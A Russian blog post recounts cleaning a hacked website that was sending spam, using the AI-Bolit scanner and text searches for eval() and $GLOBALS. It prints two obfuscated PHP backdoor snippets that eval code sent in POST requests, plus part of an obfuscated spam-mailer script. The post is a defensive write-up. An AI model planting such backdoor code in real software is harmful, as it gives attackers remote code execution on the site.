Недавно мой друг получил письмо от хостера где указывалась проблема — спам рассылки с сайта. Т.е. сайт подвергся заражению вирусом. При этом вам отключают возможность e-mail сообщений на сайте. А так же, даже при отключенной отправке сообщений на вашем сайте, ваши логи сервера начнут переполняться, что иногда приводит к ошибкам сервера.
Итак, смотрим наш сайт на предмет вирусов — www.virustotal.com, но если вирус появился недавно, то вам покажет что ваш сайт полностью здоровый. Это хорошо тем, что поисковые системы еще не отметили ваш сайт потенциально опасным.
Конечно, при заражении сайта, желательно перезалить сайт из здорового бэкапа, но частенько именно в этот момент его нет. Тогда вам необходимо бороться с вирусом. Для этого изначально нужно обновить все возможные плагины, и саму систему сайта.
Но обновление — пол дела, нужно еще устранить само заражение.
Я скачал зараженный сайт на локальный компьютер, подключил его к локальной бд, с бэкапом рабочего сайта, получился полностью рабочий сайт на локалке. Запустил его на денвере — кто не знаком, это локальный сервер, позволяющий запускать php скрипты на локальном компьютере. И затем скачал скрипт антивируса — ai-bolit с сайта разработчика.
AI-Bolit — это бесплатный сканер вирусов, хакерских шеллов, бэкдоров, спам-рассыльщиков и других вредоносных скриптов на хостинге.
Т.е то что нам и нужно. Я разместил скрипт в корень зараженного сайта, в самом скрипте поставил пароль, и запустил его — mylocalsite.ru/ai-bollit.php?p-xxxxxx, где xxxxxx — мой пароль, установленный в скрипте. Запустить ai-bolit на домене, врядли получиться, т.к. он требует много ресурсов. Также в скрипте можно ставить уровень поиска — задается числом, и я поставил самый высокий.
Мне выдало кучу сообщений о вирусовидных файлах, но я заметил сходство многих — часто используемая функция eval(), и я решил искать именно по этому значению по файлам. Дело в том что много файлов, который показал ai-bolit были просто файлами системы и не являлись зараженными.
Как видно из скриншота, антивирус увидел зловредный кусок кода с использованием функции eval(), сама функция не плохая, просто часто используется в вирусных скрипта. И я начал искать с помощью программы Folder Find Text именно по этой функции. Как можно искать с помощью данной программы описано здесь.
Нашлось у меня 24 файла, как в последствии выяснилось всего 2 были не заражены.
Вирусный код представлял из себя такую запись
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q13e558'])){eval(${$s20}['q13e558']);}
или
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n126c37'])) {eval($s21(${$s20}['n126c37']));}
В моем случае, было 2 разновидности, причем такая запись могла быть и в системном php файле, и в самостоятельном, с адекватным названием — к примеру themes.php или article.php. Там где запись была вставлена в файл php системы (вставлена была с огромным отступом, так что открывая файл в редакторе приходилось горизонтально скроллить вправо) я удалял эту запись оставляя последущий рабочий код, файлы где была просто запись — я удалял файлы целиком. Все эти операции следует делать на локальном домене, проверяя работоспособность сайта.
Итак, я удалил эти записи, но проблема была решена на половину, дело в том что эта запись лишь вызывала рассылку, где то на сайте был скрипт самой рассылки. Искать их было довольно трудно, но я нашел по поиску глобальных переменных — $GLOBALS. Файлов рассылок было — 2. Начинались они с такого кода
$d93="l#\"quX>wj{V}mA.\rR cIQ\n`g4*:~v]3t<d\$EWnBCG-hUfK_k0(!HZ\t;[N8aPr6&YyDpo2\\5e@iFSJ?s,7/LbMT|)z=9O^+1x%'"; $GLOBALS['nbozb93'] = $d93[71].$d93[60].$d93[60].$d93[67].$d93[60].$d93[46].$d93[60].$d93[71].$d93[66].$d93[67].$d93[60].$d93[31].$d93[73].$d93[37].$d93[23]; $GLOBALS['wmyrm6'] = $d93[73].$d93[37].$d93[73].$d93[46].$d93[78].$d93[71].$d93[31]; $GLOBALS['efqzd94'] = $d93[33].$d93[71].$d93[44].$d93[73].$d93[37].$d93[71]; $GLOBALS['amnno92'] = $d93[33].$d93[64].$d93[73].$d93[4].$d93[28].$d93[24].$d93[80]; $GLOBALS['mvpev72'] = $d93[4].$d93[37].$d93[18].$d93[28].$d93[7].$d93[61].$d93[70]; $GLOBALS['sfzxp35'] = $d93[12].$d93[33].$d93[70]; $GLOBALS['ehiza78'] = $d93[18].$d93[67].$d93[4].$d93[37].$d93[31]; $GLOBALS['eihjh35'] = $d93[31].$d93[73].$d93[12].$d93[71]; $GLOBALS['xwmtl67'] = $d93[18].$d93[67].$d93[37].$d93[78].$d93[31].$d93[58].$d93[37].$d93[31]; $GLOBALS['ucxcq95'] = $d93[47].$d93[64].$d93[83].$d93[28].$d93[47].$d93[48]; $GLOBALS['udjhu28'] = $d93[37].$d93[47].$d93[73].$d93[0].$d93[95].$d93[94].$d93[30]; $GLOBALS['yhibs6'] = $d93[66].$d93[83].$d93[0].$d93[88].$d93[44].$d93[68].$d93[24]; $GLOBALS['tvphd70'] = $d93[23].$d93[12].$d93[67].$d93[42].$d93[31].$d93[57]; $GLOBALS['mupqm60'] = $d93[42].$d93[67].$d93[33].$d93[3].$d93[18].$d93[24].$d93[80]; $GLOBALS['jptsc76'] = $d93[44].$d93[4].$d93[37].$d93[18].$d93[31].$d93[73].$d93[67].$d93[37].$d93[46].$d93[71].$d93[95].$d93[73].$d93[78].$d93[31].$d93[78]; $GLOBALS['pidng77'] = $d93[12].$d93[58].$d93[73].$d93[0]; $GLOBALS['lawyb65'] = $d93[73].$d93[73].$d93[37].$d93[28].$d93[66].$d93[24]; $GLOBALS['bnmep23'] = $d93[23].$d93[37].$d93[37].$d93[66].$d93[4].$d93[94].$d93[48]; $GLOBALS['myxfb6'] = $d93[4].$d93[78].$d93[0].$d93[71].$d93[71].$d93[66]; $GLOBALS['fkwvn8'] = $d93[58].$d93[73].$d93[37].$d93[66].$d93[71].$d93[80].$d93[90]; $GLOBALS['mwvbw70'] = $d93[73].$d93[83].$d93[88].$d93[0].$d93[0].$d93[24].$d93[68]; $GLOBALS['jqiuc91'] = $d93[31].$d93[60].$d93[73].$d93[12]; $GLOBALS['jftip59'] = $d93[66].$d93[60].$d93[71].$d93[23].$d93[46].$d93[60].$d93[71].$d93[66].$d93[0].$d93[58].$d93[18].$d93[71]; $GLOBALS['bsbkf69'] = $d93[23].$d93[71].$d93[31].$d93[42].$d93[67].$d93[78].$d93[31].$d93[83].$d93[64].$d93[37].$d93[58].$d93[12].$d93[71];
Дальше продолжать не вижу смысла — т.к. файл содержит много подобный, человеконепонятных строк, и занимал 64 кб.
После всех проделанных манипуляций, я проверил работоспособность локального сайта, он полностью работал, и залил его на домен. Сообщил хостеру, он проверил сайт своим антивирусником, вирусов не нашел, и нам включили email сервер.
Конечно, нельзя сказать, что мы полностью победили вирус, т.к. до сих пор никто не знает где же была дыра, через которую он залез. Возможно это уязвимость в модуле, в системе, да и просто по FTP. Но по крайней мере сайт был вылечен и полностью работоспособен.